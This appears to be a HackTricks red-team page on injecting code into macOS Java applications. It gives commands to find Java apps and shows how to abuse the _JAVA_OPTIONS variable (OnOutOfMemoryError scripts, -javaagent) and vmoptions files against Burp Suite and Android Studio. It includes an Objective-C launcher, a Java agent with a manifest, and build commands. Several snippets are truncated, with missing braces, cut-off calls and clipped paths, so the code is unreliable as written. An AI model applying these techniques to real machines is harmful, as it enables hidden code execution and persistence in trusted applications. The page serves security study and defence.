macOS Java Applications Injection

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:


Find Java applications installed in your system. It was noticed that Java apps in the Info.plist will contain some java parameters which contain the string java., so you can search for that:

# Search only in /Applications folder
sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null

# Full search
sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null


The env variable _JAVA_OPTIONS can be used to inject arbitrary java parameters in the execution of a java compiled app:

# Write your payload in a script called /tmp/
export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/"'
"/Applications/Burp Suite"

To execute it as a new process and not as a child of the current terminal you can use:

#import <Foundation/Foundation.h>
// clang -fobjc-arc -framework Foundation invoker.m -o invoker

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        // Specify the file path and content
        NSString *filePath = @"/tmp/";
        NSString *content = @"#!/bin/bash\n/Applications/";

        NSError *error = nil;

        // Write content to the file
        BOOL success = [content writeToFile:filePath 

        if (!success) {
            NSLog(@"Error writing file at %@\n%@", filePath, [error localizedDescription]);
            return 1;

        NSLog(@"File written successfully to %@", filePath);
        // Create a new task
        NSTask *task = [[NSTask alloc] init];

        /// Set the task's launch path to use the 'open' command
        [task setLaunchPath:@"/usr/bin/open"];

        // Arguments for the 'open' command, specifying the path to Android Studio
        [task setArguments:@[@"/Applications/Android"]];

        // Define custom environment variables
        NSDictionary *customEnvironment = @{
            @"_JAVA_OPTIONS": @"-Xms2m -Xmx5m -XX:OnOutOfMemoryError=/tmp/"

        // Get the current environment and merge it with custom variables
        NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary:[[NSProcessInfo processInfo] environment]];
        [environment addEntriesFromDictionary:customEnvironment];

        // Set the task's environment
        [task setEnvironment:environment];

        // Launch the task
        [task launch];
    return 0;

However, that will trigger an error on the executed app, another more stealth way is to create a java agent and use:

export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
"/Applications/Burp Suite"

# Or

open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"

Creating the agent with a different Java version from the application can crash the execution of both the agent and the application

Where the agent can be:
import java.lang.instrument.*;

public class Agent {
  public static void premain(String args, Instrumentation inst) {
    try {
      String[] commands = new String[] { "/usr/bin/open", "-a", "Calculator" };
    catch (Exception err) {

To compile the agent run:

javac # Create Agent.class
jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar

With manifest.txt:

Premain-Class: Agent
Agent-Class: Agent
Can-Redefine-Classes: true
Can-Retransform-Classes: true

And then export the env variable and run the java application like:

export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
"/Applications/Burp Suite"

# Or

open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"

vmoptions file

This file support the specification of Java params when Java is executed. You could use some of the previous tricks to change the java params and make the process execute arbitrary commands. Moreover, this file can also include others with the include directory, so you could also change an included file.

Even more, some Java apps will load more than one vmoptions file.

Some applications like Android Studio indicates in their output where are they looking for these files, like:

/Applications/Android\ 2>&1 | grep vmoptions

2023-12-13 19:53:23.920 studio[74913:581359] fullFileName is: /Applications/Android
2023-12-13 19:53:23.920 studio[74913:581359] fullFileName exists: /Applications/Android
2023-12-13 19:53:23.920 studio[74913:581359] parseVMOptions: /Applications/Android
2023-12-13 19:53:23.921 studio[74913:581359] parseVMOptions: /Applications/Android
2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions

If they don't you can easily check for it with:

# Monitor
sudo eslogger lookup | grep vmoption # Give FDA to the Terminal

# Launch the Java app

Note how interesting is that Android Studio in this example is trying to load the file /Applications/Android, a place where any user from the admin group has write access.

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Last updated